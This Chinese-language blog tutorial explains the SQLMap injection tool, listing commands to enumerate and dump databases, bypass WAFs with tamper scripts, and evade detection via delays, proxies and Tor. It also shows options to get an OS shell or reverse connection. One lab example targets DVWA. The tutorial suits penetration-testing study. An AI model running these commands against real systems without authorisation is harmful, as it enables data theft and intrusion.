【安全工具】SQLMap 使用详解:从基础到高级技巧

目录

简介

一、安装与基础配置

1. 安装方法

2. 基本语法

二、基础扫描技术

1. 简单检测

2. 指定参数扫描

3. 批量扫描

三、信息收集

1. 获取数据库信息

2. 获取当前数据库

3. 获取数据库用户

4. 获取数据库版本

四、数据提取技术

1. 列出所有表

2. 提取表数据

3. 提取特定列

五、高级注入技术

1. 指定注入技术

2. 多线程扫描

3. 绕过WAF

六、实战案例演示

案例1:DVWA Low级别注入

案例2:POST请求注入

案例3:从文件读取请求

七、防御规避技巧

1. 延迟设置

2. 随机代理

3. 使用Tor网络

八、输出与报告

1. 保存结果到文件

2. 生成HTML报告

九、风险控制

1. 安全扫描模式

2. 测试级别

十、实用小技巧

简介

SQLMap是一款自动化 SQL 注入工具,能够检测和利用 SQL 注入漏洞。以下是全面的使用指南,包含基础命令、高级技巧和实战案例。

一、安装与基础配置

1. 安装方法

Kali Linux

sudo apt update && sudo apt install sqlmap

其他Linux系统

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

Windows

2. 基本语法

sqlmap.py -h

二、基础扫描技术

1. 简单检测

sqlmap.py -u "http://example.com/page.php?id=1"

2. 指定参数扫描

sqlmap.py -u "http://example.com/page.php?id=1" -p "id"

3. 批量扫描

sqlmap.py -m urls.txt  # urls.txt中包含多个目标URL

三、信息收集

1. 获取数据库信息

sqlmap.py -u "http://example.com/page.php?id=1" --dbs

2. 获取当前数据库

sqlmap.py -u "http://example.com/page.php?id=1" --current-db

3. 获取数据库用户

sqlmap.py -u "http://example.com/page.php?id=1" --current-user

4. 获取数据库版本

sqlmap.py -u "http://example.com/page.php?id=1" --banner

四、数据提取技术

1. 列出所有表

sqlmap.py -u "http://example.com/page.php?id=1" -D database_name --tables

2. 提取表数据

sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump

3. 提取特定列

sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name -C "column1,column2" --dump

五、高级注入技术

1. 指定注入技术

sqlmap.py -u "http://example.com/page.php?id=1" --technique=B  # 布尔盲注
sqlmap.py -u "http://example.com/page.php?id=1" --technique=T  # 时间盲注
sqlmap.py -u "http://example.com/page.php?id=1" --technique=E  # 报错注入

2. 多线程扫描

sqlmap.py -u "http://example.com/page.php?id=1" --threads=5

3. 绕过WAF

sqlmap.py -u "http://example.com/page.php?id=1" --tamper="space2comment"

常用tamper脚本:

  • space2comment:空格替换为注释

  • between:用BETWEEN替换大于号

  • randomcase:随机大小写

  • charunicodeencode:字符编码转换

六、实战案例演示

案例1:DVWA Low级别注入

sqlmap.py -u "http://192.168.21.4/DVWA/vulnerabilities/sqli/?id=1" --batch --dbs

案例2:POST请求注入

sqlmap.py -u "http://192.168.21.4/DVWA/vulnerabilities/sqli/?id=1  --data="id=1&Submit=Submit" --method POST

案例3:从文件读取请求

sqlmap.py -r request.txt  # request.txt保存了Burp拦截的请求

七、防御规避技巧

1. 延迟设置

sqlmap.py -u "http://example.com/page.php?id=1" --delay=2  # 2秒延迟

2. 随机代理

sqlmap.py -u "http://example.com/page.php?id=1" --proxy="http://proxy:port"

3. 使用Tor网络

sqlmap.py -u "http://example.com/page.php?id=1" --tor --tor-type=SOCKS5

八、输出与报告

1. 保存结果到文件

sqlmap.py -u "http://example.com/page.php?id=1" --output-dir=/path/to/results

2. 生成HTML报告

sqlmap.py -u "http://example.com/page.php?id=1" --dump --output-dir=report --format=HTML

九、风险控制

1. 安全扫描模式

sqlmap.py -u "http://example.com/page.php?id=1" --risk=1  # 低风险

2. 测试级别

sqlmap.py -u "http://example.com/page.php?id=1" --level=3  # 1-5,默认1

十、实用小技巧

  1. 获取操作系统shell

sqlmap.py -u "http://example.com/page.php?id=1" --os-shell
  1. 获取反向连接

sqlmap.py -u "http://example.com/page.php?id=1" --os-pwn
  1. 暴力破解表名

sqlmap.py -u "http://example.com/page.php?id=1" --common-tables

4.获取sql shell

sqlmap.py -u "http://example.com/page.php?id=1" --sql-shell
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

KPX

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值